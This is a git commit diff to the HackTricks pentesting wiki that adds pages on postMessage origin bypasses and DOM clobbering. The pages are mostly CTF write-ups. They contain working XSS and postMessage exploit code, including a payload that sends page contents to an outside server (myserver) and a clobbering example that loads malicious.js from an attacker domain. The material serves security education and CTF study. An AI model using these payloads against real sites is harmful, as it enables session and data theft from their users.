GitBook: [#3603] No subject

This commit is contained in:
CPol 2022-10-13 00:56:34 +00:00 committed by gitbook-bot
parent c119f79aa3
commit c8d919235b
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
10 changed files with 519 additions and 312 deletions

View File

@ -511,7 +511,11 @@
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
* [Open Redirect](pentesting-web/open-redirect.md)
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities.md)
* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities/README.md)
* [Blocking main page to steal postmessage](pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
* [Bypassing SOP with Iframes - 1](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
* [Bypassing SOP with Iframes - 2](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
* [Steal postmessage modifying iframe location](pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
* [Race Condition](pentesting-web/race-condition.md)
* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
* [Registration & Takeover Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
@ -549,16 +553,17 @@
* [XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
* [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
* [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
* [Debugging Client Side JS](pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md)
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
* [Dom Clobbering](pentesting-web/xss-cross-site-scripting/dom-clobbering.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Other JS Tricks](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)

View File

@ -66,15 +66,8 @@ Note that if the page can be iframed but the **targetOrigin** is **set to a URL
}, 100);
}
</script>
</html>
```
### Bypassing window.origin or e.source
Using iframes you can make **`window.origin`** and **`e.origin`** value **`null`** and **`e.source`** value **`null`**.
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
@ -98,15 +91,15 @@ In order to **find event listeners** in the current page you can:
* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
* **Execute** in the developer tools console: `getEventListeners(window)`
![](<../.gitbook/assets/image (618) (1).png>)
![](<../../.gitbook/assets/image (618) (1).png>)
* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
![](<../.gitbook/assets/image (617).png>)
![](<../../.gitbook/assets/image (617).png>)
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
### addEventListener check origin bypasses
### check origin basic bypasses
* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
@ -126,6 +119,31 @@ result.message; // "'"<b>\"
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
### Bypassing e.origin == window.origin
When a page is embedded in a **sandboxed iframe** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` the **origin** of that **iframe** will be **`null`**.
When the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
Therefore, if you open a **sandboxed iframe** allowing popups, and then you **opens a popup** from inside the iframe, and **send a postMessage** from the iframe **to the popup**, both origins are null so: **`e.origin == window.origin == null`**
For more information **read**:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Bypassing e.source
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
For more information **read:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
@ -138,6 +156,22 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Stealing message by modifying iframe location
if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage to Prototype Pollution and/or XSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
@ -164,9 +198,9 @@ Example of an exploit to abuse **Prototype Pollution and then XSS** through a `p
For **more information**:
* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution/)
* Link to page about [**XSS**](xss-cross-site-scripting/)
* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
* Link to page about [**XSS**](../xss-cross-site-scripting/)
* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## References

View File

@ -0,0 +1,54 @@
# Blocking main page to steal postmessage
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Winning RCs with Iframes
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
$("#previewModal").modal();
}
});
```
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -0,0 +1,96 @@
# Bypassing SOP with Iframes - 1
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Iframes in SOP-1
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
Let's see the solution they propose.
### SOP bypass 1 (e.origin === null)
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOP bypass 2 (window.origin === null)
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
```html
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -0,0 +1,95 @@
# Bypassing SOP with Iframes - 2
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Iframes in SOP-2
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
* Sending `token` in the postMessage with value `null` is trivial.
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -0,0 +1,50 @@
# Steal postmessage modifying iframe location
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Changing child iframes locations
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View File

@ -78,7 +78,7 @@ When a websocket posts a message or a form allowing users to perform actions vul
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
* [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities.md)
* [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
### **HTTP Headers**

View File

@ -0,0 +1,91 @@
# Dom Clobbering
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## **DOM Clobbering**
### **Clobbering `window.someObject`**
A common pattern used by JavaScript developers is:
`var someObject = window.someObject || {};`
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
### Clobbering document object
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
>
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
